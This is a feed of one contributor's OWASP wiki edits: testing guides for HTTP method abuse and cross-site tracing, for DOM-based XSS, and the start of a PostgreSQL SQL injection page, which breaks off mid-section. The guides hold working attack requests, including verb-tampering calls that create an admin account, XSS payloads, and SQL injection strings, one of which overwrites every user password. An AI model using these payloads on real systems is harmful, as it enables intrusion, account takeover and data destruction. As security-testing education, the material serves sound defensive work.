<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Matt+Heckathorn</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Matt+Heckathorn"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Matt_Heckathorn"/>
		<updated>2026-04-28T01:32:10Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_HTTP_Methods_(OTG-CONFIG-006)&amp;diff=87322</id>
		<title>Test HTTP Methods (OTG-CONFIG-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_HTTP_Methods_(OTG-CONFIG-006)&amp;diff=87322"/>
				<updated>2010-08-04T19:45:50Z</updated>
		
		<summary type="html">&lt;p&gt;Matt Heckathorn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
HTTP offers a number of methods that can be used to perform actions on the web server. Many of theses methods are designed to aid developers in deploying and testing HTTP applications. These HTTP methods can be used for nefarious purposes if the web server is misconfigured. Additionally, Cross Site Tracing (XST), a form of cross site scripting using the server's HTTP TRACE method, is examined.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
While GET and POST are by far the most common methods that are used to access information provided by a web server, the Hypertext Transfer Protocol (HTTP) allows several other (and somewhat less known) methods. RFC  2616 (which describes HTTP version 1.1 which is the today standard) defines the following eight methods:&lt;br /&gt;
&lt;br /&gt;
* HEAD&lt;br /&gt;
* GET&lt;br /&gt;
* POST&lt;br /&gt;
* PUT&lt;br /&gt;
* DELETE&lt;br /&gt;
* TRACE&lt;br /&gt;
* OPTIONS&lt;br /&gt;
* CONNECT&lt;br /&gt;
&lt;br /&gt;
Some of these methods can potentially pose a security risk for a web application, as they allow an attacker to modify the files stored on the web server and, in some scenarios, steal the credentials of legitimate users. More specifically, the methods that should be disabled are the following:&lt;br /&gt;
&lt;br /&gt;
* PUT: This method allows a client to upload new files on the web server. An attacker can exploit it by uploading malicious files (e.g.: an asp file that executes commands by invoking cmd.exe), or by simply using the victim's server as a file repository&lt;br /&gt;
* DELETE: This method allows a client to delete a file on the web server. An attacker can exploit it as a very simple and direct way to deface a web site or to mount a DoS attack&lt;br /&gt;
* CONNECT:  This method could allow a client to use the web server as a proxy&lt;br /&gt;
* TRACE: This method simply echoes back to the client whatever string has been sent to the server, and is used mainly for debugging purposes. This method, originally assumed harmless, can be used to mount an attack known as Cross Site Tracing, which has been discovered by Jeremiah Grossman (see links at the bottom of the page)&lt;br /&gt;
&lt;br /&gt;
If an application needs one or more of these methods, such as REST Web Services (which may require PUT or DELETE), it is important to check that their usage is properly limited to trusted users and safe conditions.&lt;br /&gt;
&lt;br /&gt;
== Arbitrary HTTP Methods ==&lt;br /&gt;
&lt;br /&gt;
Arshan Dabirsiaghi (see links) discovered that many web application frameworks allowed well chosen and/or arbitrary HTTP methods to bypass an environment level access control check:&lt;br /&gt;
&lt;br /&gt;
* Many frameworks and languages treat &amp;quot;HEAD&amp;quot; as a &amp;quot;GET&amp;quot; request, albeit one without any body in the response. If a security constraint was set on &amp;quot;GET&amp;quot; requests such that only &amp;quot;authenticatedUsers&amp;quot; could access GET requests for a particular servlet or resource, it would be bypassed for the &amp;quot;HEAD&amp;quot; version. This allowed unauthorized blind submission of any privileged GET request&lt;br /&gt;
&lt;br /&gt;
* Some frameworks allowed arbitrary HTTP methods such as &amp;quot;JEFF&amp;quot; or &amp;quot;CATS&amp;quot; to be used without limitation. These were treated as if a &amp;quot;GET&amp;quot; method was issued, and again were found not to be subject to method role based access control checks on a number of languages and frameworks, again allowing unauthorized blind submission of privileged GET requests.&lt;br /&gt;
&lt;br /&gt;
In many cases, code which explicitly checked for a &amp;quot;GET&amp;quot; or &amp;quot;POST&amp;quot; method would be safe. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Discover the Supported Methods''' &amp;lt;br&amp;gt;&lt;br /&gt;
To perform this test, we need some way to figure out which HTTP methods are supported by the web server we are examining. The OPTIONS HTTP method provides us with the most direct and effective way to do that. RFC 2616 states that, &amp;quot;The OPTIONS method represents a request for information about the  communication options available on the request/response chain identified by the Request-URI&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
The testing method is extremely straightforward and we only need to fire up netcat (or telnet):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
icesurfer@nightblade ~ $ nc www.victim.com 80 &lt;br /&gt;
OPTIONS / HTTP/1.1&lt;br /&gt;
Host: www.victim.com&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Server: Microsoft-IIS/5.0&lt;br /&gt;
Date: Tue, 31 Oct 2006 08:00:29 GMT&lt;br /&gt;
Connection: close&lt;br /&gt;
Allow: GET, HEAD, POST, TRACE, OPTIONS&lt;br /&gt;
Content-Length: 0&lt;br /&gt;
&lt;br /&gt;
icesurfer@nightblade ~ $ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
As we can see in the example, OPTIONS provides a list of the methods that are supported by the web server, and in this case we can see, for instance, that TRACE method is enabled. The danger that is posed by this method is illustrated in the following section&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Test XST Potential'''&amp;lt;br&amp;gt;&lt;br /&gt;
Note: in order to understand the logic and the goals of this attack you need to be familiar with [[XSS |Cross Site Scripting attacks]].&lt;br /&gt;
&lt;br /&gt;
The TRACE method, while apparently harmless, can be successfully leveraged in some scenarios to steal legitimate users' credentials. This attack technique was discovered by Jeremiah Grossman in 2003, in an attempt to bypass the [[HTTPOnly]] tag that Microsoft introduced in Internet Explorer 6 sp1 to protect cookies from being accessed by JavaScript. As a matter of fact, one of the most recurring attack patterns in Cross Site Scripting is to access the document.cookie object and send it to a web server controlled by the attacker so that he/she can hijack the victim's session. Tagging a cookie as httpOnly forbids JavaScript to access it, protecting it from being sent to a third party. However, the TRACE method can be used to bypass this protection and access the cookie even in this scenario.&lt;br /&gt;
&lt;br /&gt;
As mentioned before, TRACE simply returns any string that is sent to the web server. In order to verify its presence (or to double-check the results of the OPTIONS request shown above), we can proceed as shown in the following example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
icesurfer@nightblade ~ $ nc www.victim.com 80&lt;br /&gt;
TRACE / HTTP/1.1&lt;br /&gt;
Host: www.victim.com&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Server: Microsoft-IIS/5.0&lt;br /&gt;
Date: Tue, 31 Oct 2006 08:01:48 GMT&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: message/http&lt;br /&gt;
Content-Length: 39&lt;br /&gt;
&lt;br /&gt;
TRACE / HTTP/1.1&lt;br /&gt;
Host: www.victim.com&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
As we can see, the response body is exactly a copy of our original request, meaning that our target allows this method. Now, where is the danger lurking? If we instruct a browser to issue a TRACE request to the web server, and this browser has a cookie for that domain, the cookie will be automatically included in the request headers, and will therefore be echoed back in the resulting response. At that point, the cookie string will be accessible by JavaScript and it will be finally possible to send it to a third party even when the cookie is tagged as httpOnly.&lt;br /&gt;
&lt;br /&gt;
There are multiple ways to make a browser issue a TRACE request, such as the XMLHTTP ActiveX control in Internet Explorer and XMLDOM in Mozilla and Netscape. However, for security reasons the browser is allowed to start a connection only to the domain where the hostile script resides. This is a mitigating factor, as the attacker needs to combine the TRACE method with another vulnerability in order to mount the attack. Basically, an attacker has two ways to successfully launch a Cross Site Tracing attack:&lt;br /&gt;
&lt;br /&gt;
# Leveraging another server-side vulnerability: the attacker injects the hostile JavaScript snippet that contains the TRACE request in the vulnerable application, as in a normal Cross Site Scripting attack&lt;br /&gt;
# Leveraging a client-side vulnerability: the attacker creates a malicious website that contains the hostile JavaScript snippet and exploits some cross-domain vulnerability of the browser of the victim, in order to make the JavaScript code successfully perform a connection to the site that supports the TRACE method and that originated the cookie that the attacker is trying to steal.&lt;br /&gt;
&lt;br /&gt;
More detailed information, together with code samples, can be found in the original whitepaper written by Jeremiah Grossman.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box Testing of HTTP method tampering ==&lt;br /&gt;
&lt;br /&gt;
Testing for HTTP method tampering is essentially the same as testing for XST. &lt;br /&gt;
&lt;br /&gt;
=== Testing for arbitrary HTTP methods ===&lt;br /&gt;
&lt;br /&gt;
Find a page you'd like to visit that has a security constraint such that it would normally force a 302 redirect to a login page or forces a login directly. The test URL in this example works like this - as do many web applications. However, if you obtain a &amp;quot;200&amp;quot; response that is not a login page, it is possible to bypass authentication and thus authorization.  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[rapidoffenseunit:~] vanderaj% nc www.example.com 80&lt;br /&gt;
JEFF / HTTP/1.1&lt;br /&gt;
Host: www.example.com&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 18 Aug 2008 22:38:40 GMT&lt;br /&gt;
Server: Apache&lt;br /&gt;
Set-Cookie: PHPSESSID=K53QW...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If your framework or firewall or application does not support the &amp;quot;JEFF&amp;quot; method, it should issue an error page (or preferably a 405 Not Allowed or 501 Not implemented error page). If it services the request, it is vulnerable to this issue.&lt;br /&gt;
&lt;br /&gt;
If you feel that the system is vulnerable to this issue, issue CSRF-like attacks to exploit the issue more fully:&lt;br /&gt;
&lt;br /&gt;
* FOOBAR /admin/createUser.php?member=myAdmin&lt;br /&gt;
* JEFF /admin/changePw.php?member=myAdmin&amp;amp;passwd=foo123&amp;amp;confirm=foo123&lt;br /&gt;
* CATS /admin/groupEdit.php?group=Admins&amp;amp;member=myAdmin&amp;amp;action=add&lt;br /&gt;
&lt;br /&gt;
With some luck, using the above three commands - modified to suit the application under test and testing requirements - a new user would be created, a password assigned, and made an admin.&lt;br /&gt;
&lt;br /&gt;
=== Testing for HEAD access control bypass ===&lt;br /&gt;
&lt;br /&gt;
Find a page you'd like to visit that has a security constraint such that it would normally force a 302 redirect to a login page or forces a login directly. The test URL in this example works like this - as do many web applications. However, if you obtain a &amp;quot;200&amp;quot; response that is not a login page, it is possible to bypass authentication and thus authorization.  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[rapidoffenseunit:~] vanderaj% nc www.example.com 80&lt;br /&gt;
HEAD /admin HTTP/1.1&lt;br /&gt;
Host: www.example.com&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 18 Aug 2008 22:44:11 GMT&lt;br /&gt;
Server: Apache&lt;br /&gt;
Set-Cookie: PHPSESSID=pKi...; path=/; HttpOnly&lt;br /&gt;
Expires: Thu, 19 Nov 1981 08:52:00 GMT&lt;br /&gt;
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0&lt;br /&gt;
Pragma: no-cache&lt;br /&gt;
Set-Cookie: adminOnlyCookie1=...; expires=Tue, 18-Aug-2009 22:44:31 GMT; domain=www.example.com&lt;br /&gt;
Set-Cookie: adminOnlyCookie2=...; expires=Mon, 18-Aug-2008 22:54:31 GMT; domain=www.example.com&lt;br /&gt;
Set-Cookie: adminOnlyCookie3=...; expires=Sun, 19-Aug-2007 22:44:30 GMT; domain=www.example.com&lt;br /&gt;
Content-Language: EN&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html; charset=ISO-8859-1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you get a &amp;quot;405 Method not allowed&amp;quot; or &amp;quot;501 Method Unimplemented&amp;quot;, the application/framework/language/system/firewall is working correctly. If a &amp;quot;200&amp;quot; response code comes back, and the response contains no body, it's likely that the application has processed the request without authentication or authorization and further testing is warranted.  &lt;br /&gt;
&lt;br /&gt;
If you feel that the system is vulnerable to this issue, issue CSRF-like attacks to exploit the issue more fully:&lt;br /&gt;
&lt;br /&gt;
* HEAD /admin/createUser.php?member=myAdmin&lt;br /&gt;
* HEAD /admin/changePw.php?member=myAdmin&amp;amp;passwd=foo123&amp;amp;confirm=foo123&lt;br /&gt;
* HEAD /admin/groupEdit.php?group=Admins&amp;amp;member=myAdmin&amp;amp;action=add&lt;br /&gt;
&lt;br /&gt;
With some luck, using the above three commands - modified to suit the application under test and testing requirements - a new user would be created, a password assigned, and made an admin, all using blind request submission.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
The testing in a Gray Box scenario follows the same steps of a Black Box scenario.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* RFC 2616: âHypertext Transfer Protocol -- HTTP/1.1â &lt;br /&gt;
* RFC 2109 and RFC 2965: âHTTP State Management Mechanismâ &lt;br /&gt;
* Jeremiah Grossman: &amp;quot;Cross Site Tracing (XST)&amp;quot; - http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf&amp;lt;br&amp;gt;&lt;br /&gt;
* Amit Klein: &amp;quot;XS(T) attack variants which can, in some cases, eliminate the need for TRACE&amp;quot; - http://www.securityfocus.com/archive/107/308433&lt;br /&gt;
* Arshan Dabirsiaghi: &amp;quot;Bypassing VBAAC with HTTP Verb Tampering&amp;quot; - http://www.aspectsecurity.com/documents/Bypassing_VBAAC_with_HTTP_Verb_Tampering.pdf&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|link doesn't work&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&lt;br /&gt;
* NetCat - http://www.vulnwatch.org/netcat&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
]]&lt;/div&gt;</summary>
		<author><name>Matt Heckathorn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)&amp;diff=87132</id>
		<title>Talk:Testing for DOM-based Cross site scripting (OTG-CLIENT-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)&amp;diff=87132"/>
				<updated>2010-07-29T20:12:40Z</updated>
		
		<summary type="html">&lt;p&gt;Matt Heckathorn: responded to the question&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I've now tried this PoC code local and remotely without any receiving any alert box:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
document.write(&amp;quot;Site is at: &amp;quot; + document.location.href + &amp;quot;.&amp;quot;);&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
I've tested this in both FF3, IE7 and IE5. Can anyone explain why this simple PoC won't work?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*I realize this a is a very old question, but I wanted to point out that the script there will not produce an alert box.  That script is only writing to the page with the document.write function.  The alert box comes into play by appending the #&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt; to the vulnerable pages URL (as the article mentions).&lt;/div&gt;</summary>
		<author><name>Matt Heckathorn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)&amp;diff=87131</id>
		<title>Testing for DOM-based Cross site scripting (OTG-CLIENT-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)&amp;diff=87131"/>
				<updated>2010-07-29T19:37:59Z</updated>
		
		<summary type="html">&lt;p&gt;Matt Heckathorn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
[[DOM Based XSS |DOM-based Cross-Site Scripting]] is the de-facto name for [[XSS |XSS]] bugs which are the result of active content on a page, typically JavaScript, obtaining user input and then doing something unsafe with it to lead to execution of injected code. This document will only discuss JavaScript bugs which lead to XSS.&lt;br /&gt;
&lt;br /&gt;
The DOM, or Document Object Model, is the structural format that may be used to represent documents in the browser. The DOM enables dynamic scripts such as JavaScript to reference components of the document such as a form field or a session cookie. The DOM is also used by the browser for security - for example to limit scripts on different domains obtaining session cookies for other domains. A DOM-based cross site scripting vulnerability may occur when active content, such as a JavaScript function, is modified by a specially crafted request such that a DOM element that can be controlled by an attacker.&lt;br /&gt;
&lt;br /&gt;
There have been very few papers published on this topic and, as such, very little standardization of its meaning and formalized testing exists.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
Not all XSS bugs require the attacker to control the content returned from the server, but can instead abuse poor JavaScript coding practices to achieve the same results. The consequences are the same as a typical XSS flaw, only the means of delivery is different.&lt;br /&gt;
&lt;br /&gt;
In comparison to other cross site scripting vulnerabilities (reflected and stored XSS), where an unsanitized parameter is passed by the server, returned to the user and executed in the context of the user's browser, a DOM based cross site scripting vulnerability controls the flow of the code by using elements of the Document Object Model (DOM) along with code crafted by the attacker to change the flow. &lt;br /&gt;
 &lt;br /&gt;
Due to their nature, DOM based XSS vulnerabilities can be executed in many instances without the server being able to determine what is actually being executed. This may result in many of the general XSS filtering and detection rules impotent against such attacks.&lt;br /&gt;
 &lt;br /&gt;
The first hypothetical example uses the following client side code:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 document.write(&amp;quot;Site is at: &amp;quot; + document.location.href + &amp;quot;.&amp;quot;);&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An attacker may append #&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt; to the affected page URL which would, when executed display the alert box. In this instance, the appended code would not be sent to the server as everything after the # character is not treated as part of the query by the browser but as a fragment.  In this example the code is immediately executed and an alert of &amp;quot;xss&amp;quot; is displayed in the page.  Unlike the more common types of cross site scripting (persistent and non-persistent) in which the code is sent to the server and redisplayed to the user, this is executed directly in the user's browser without server contact. &lt;br /&gt;
 &lt;br /&gt;
The [[XSS#XSS_Attack_Consequences |consequences]] of DOM based cross site scripting flaws are as wide ranging as those seen in more well known forms of XSS, including cookie retrieval, further malicious script injection, etc. and should therefore be treated with the same severity as such.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for DOM-Based XSS is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for DOM Based XSS vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
JavaScript applications differ significantly from other types of applications because they are often dynamically generated by the server, and to understand what code is being executed, the website being tested needs to be crawled to determine all the instances of JavaScript being executed and where user input is accepted. Many websites rely on large libraries of functions, which often stretch into the hundreds of thousands of lines of code and have not been developed in-house. In these cases, top-down testing often becomes the only really viable option, since many bottom level functions are never used, and analyzing them to determine which are sinks will use up more time than is often available. The same can also be said for top-down testing if the inputs or lack thereof is not identified to begin with.&lt;br /&gt;
&lt;br /&gt;
User input comes in two main forms:&lt;br /&gt;
&lt;br /&gt;
* Input written to the page by the server in a way that does not allow direct XSS&lt;br /&gt;
* Input obtained from client-side JavaScript objects&lt;br /&gt;
&lt;br /&gt;
Here are two examples of how the server may insert data into JavaScript:&lt;br /&gt;
&lt;br /&gt;
 var data = &amp;quot;&amp;lt;escaped data from the server&amp;gt;&amp;quot;;&lt;br /&gt;
 var result = someFunction(&amp;quot;&amp;lt;escaped data from the server&amp;gt;&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
And here are two examples of input from client-side JavaScript objects:&lt;br /&gt;
&lt;br /&gt;
 var data = window.location;&lt;br /&gt;
 var result = someFunction(window.referer);&lt;br /&gt;
&lt;br /&gt;
While there is little difference to the JavaScript code in how they are retrieved, it is important to note that when input is received via the server, the server can apply any permutations to the data that it desires, whereas the permutations performed by JavaScript objects are fairly well understood and documented, and so if someFunction in the above example were a sink, then the exploitability of the former would depend on the filtering done by the server, whereas the latter would depend on the encoding done by the browser on the window.referer object.&lt;br /&gt;
&lt;br /&gt;
Additionally, JavaScript is very often executed outside of &amp;lt;script&amp;gt; blocks, as evidenced by the many vectors which have led to XSS filter bypasses in the past, and so, when crawling the application, it is important to note the use of scripts in places such as event handlers and CSS blocks with expression attributes. Also, note that any off-site CSS or script objects will need to be assessed to determine what code is being executed.&lt;br /&gt;
&lt;br /&gt;
Automated testing has only very limited success at identifying and validating DOM based XSS as it usually identifies XSS by sending a specific payload and attempts to observe it in the server response. This may work fine for the simple example provided below, where the message parameter is reflected back to the user:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;message=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
but may not be detected in the following contrived case:&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
var navAgt = navigator.userAgent;&lt;br /&gt;
 &lt;br /&gt;
if (navAgt.indexOf(&amp;quot;MSIE&amp;quot;)!=-1) {&lt;br /&gt;
     document.write(&amp;quot;You are using IE as a browser and visiting site: &amp;quot; + document.location.href + &amp;quot;.&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
    document.write(&amp;quot;You are using an unknown browser.&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
For this reason, automated testing will not detect areas that may be susceptible to DOM based XSS unless the testing tool can perform addition analysis of the client side code.&lt;br /&gt;
 &lt;br /&gt;
Manual testing should therefore be undertaken and can be done by examining areas in the code where parameters are referred to that may be useful to an attacker. &lt;br /&gt;
Examples of such areas include places where code is dynamically written to the page and elsewhere where the DOM is modified or even where scripts are directly executed. Further examples &lt;br /&gt;
are described in the excellent DOM XSS article by Amit Klein, referenced at the end of this section.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Document Object Model (DOM) - http://en.wikipedia.org/wiki/Document_Object_Model&lt;br /&gt;
* DOM Based Cross Site Scripting or XSS of the Third Kind - Amit Klein http://www.webappsec.org/projects/articles/071105.shtml&lt;/div&gt;</summary>
		<author><name>Matt Heckathorn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=86761</id>
		<title>OWASP Backend Security Project Testing PostgreSQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=86761"/>
				<updated>2010-07-21T14:31:40Z</updated>
		
		<summary type="html">&lt;p&gt;Matt Heckathorn: The query to retrieve the output from the stdout table in the section titled Dynamic Library was incorrect.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Overview =&lt;br /&gt;
&lt;br /&gt;
In this section, some SQL Injection techniques for PostgreSQL will be discussed.&lt;br /&gt;
Keep in mind the following characteristics:&lt;br /&gt;
&lt;br /&gt;
* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator&lt;br /&gt;
* SQL Statements can be truncated by appending the comment char: '''--'''.&lt;br /&gt;
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''&lt;br /&gt;
&lt;br /&gt;
From here after, we assume that ''&amp;lt;nowiki&amp;gt;http://www.example.com/news.php?id=1&amp;lt;/nowiki&amp;gt;'' is vulnerable to SQL Injection attacks.&lt;br /&gt;
&lt;br /&gt;
= Description =&lt;br /&gt;
&lt;br /&gt;
== Identifying PostgreSQL ==&lt;br /&gt;
&lt;br /&gt;
When a SQL Injection has been found, you need to carefully &lt;br /&gt;
fingerprint the backend database engine. You can determine that the backend database engine&lt;br /&gt;
is PostgreSQL by using the ''::'' cast operator.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 AND 1::int=1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In addition, the function ''version()'' can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An example of a banner string that could be returned is:&lt;br /&gt;
  PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)&lt;br /&gt;
&lt;br /&gt;
== Blind Injection ==&lt;br /&gt;
&lt;br /&gt;
For blind SQL injection attacks, you should take into consideration the following built-in functions:&lt;br /&gt;
&lt;br /&gt;
* String Length&lt;br /&gt;
*: ''LENGTH(str)''&lt;br /&gt;
* Extract a substring from a given string&lt;br /&gt;
*: ''SUBSTR(str,index,offset)''&lt;br /&gt;
* String representation with no single quotes&lt;br /&gt;
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''&lt;br /&gt;
&lt;br /&gt;
Starting at version 8.2, PostgreSQL introduced a built-in function, ''pg_sleep(n)'', to make the current&lt;br /&gt;
session process sleep for ''n'' seconds. This function can be leveraged to execute timing attacks (discussed in detail at [[Blind SQL Injection]]).&lt;br /&gt;
In addition, you can easily create a custom ''pg_sleep(n)'' in previous versions by using libc:&lt;br /&gt;
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
== Single Quote unescape ==&lt;br /&gt;
&lt;br /&gt;
Strings can be encoded, to prevent single quotes escaping, by using chr() function.&lt;br /&gt;
&lt;br /&gt;
* chr(n): Returns the character whose ASCII value corresponds to the number n&lt;br /&gt;
* ascii(n): Returns the ASCII value which corresponds to the character n&lt;br /&gt;
&lt;br /&gt;
Let's say you want to encode the string 'root':&lt;br /&gt;
   select ascii('r')&lt;br /&gt;
   114&lt;br /&gt;
   select ascii('o')&lt;br /&gt;
   111&lt;br /&gt;
   select ascii('t')&lt;br /&gt;
   116&lt;br /&gt;
&lt;br /&gt;
We can encode 'root' as: &lt;br /&gt;
  chr(114)||chr(111)||chr(111)||chr(116)&lt;br /&gt;
&lt;br /&gt;
'''Example:''' &lt;br /&gt;
   &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Current User ===&lt;br /&gt;
&lt;br /&gt;
The identity of the current user can be retrieved with the following SQL SELECT statements:&lt;br /&gt;
&lt;br /&gt;
  SELECT user&lt;br /&gt;
  SELECT current_user&lt;br /&gt;
  SELECT session_user&lt;br /&gt;
  SELECT usename FROM pg_user&lt;br /&gt;
  SELECT getpgusername()&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Current Database ===&lt;br /&gt;
&lt;br /&gt;
The built-in function current_database() returns the current database name.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reading from a file ===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL provides two ways to access a local file:&lt;br /&gt;
* COPY statement&lt;br /&gt;
* pg_read_file() internal function (starting from PostgreSQL 8.1)&lt;br /&gt;
&lt;br /&gt;
'''COPY:'''&lt;br /&gt;
&lt;br /&gt;
This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
